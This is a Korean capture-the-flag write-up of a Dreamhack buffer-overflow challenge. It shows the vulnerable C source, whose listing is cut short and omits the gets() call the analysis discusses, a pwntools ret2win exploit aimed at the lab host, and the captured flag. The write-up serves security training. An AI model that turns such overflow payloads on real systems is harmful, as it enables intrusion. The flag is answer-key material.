읽기 안내
Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.
환경

- 32bit 환경
- RELRO 기법 비활성화
- canary 기법 비활성화
- NX 기법 활성화
- PIE 기법 비활성화
실습 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
}
분석
1. 취약점 분석
NX 기법 때문에 셸 코드는 작동하지 않는다.
buf의 크기가 0x80으로 128bytes가 할당 되는데 gets() 함수를 이용해 buf를 읽어들인다.
gets()함수는 표준입력으로 들어온 문자열을 개행한 부분 앞까지 짤라서char*타입의 문자열로 저장해주고, 자동으로 문자열 맨 끝에\0을 넣어서 문자열을 완성한다.
2. 익스플로잇
스택 프레임 구조 파악

익스플로잇 코드
from pwn import *
p = remote("host.dreamhack.games", 15134)
payload = b'A' * 0x84 + p32(0x080485b9)
p.send(payload)
p.interactive()
코드 설명
buf의 크기인 0x80에 EBP 크기 4 bytes를 더해서 RET 함수 전까지 더미 데이터로 채우고, RET 호출 주소를 read_flag() 함수 호출 주소로 덮으면 플래그를 따낼 수 있다.
결과

DH{01ec06f5e1466e44f86a79444a7cd116}
작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
이미지 원본 출처
다음 글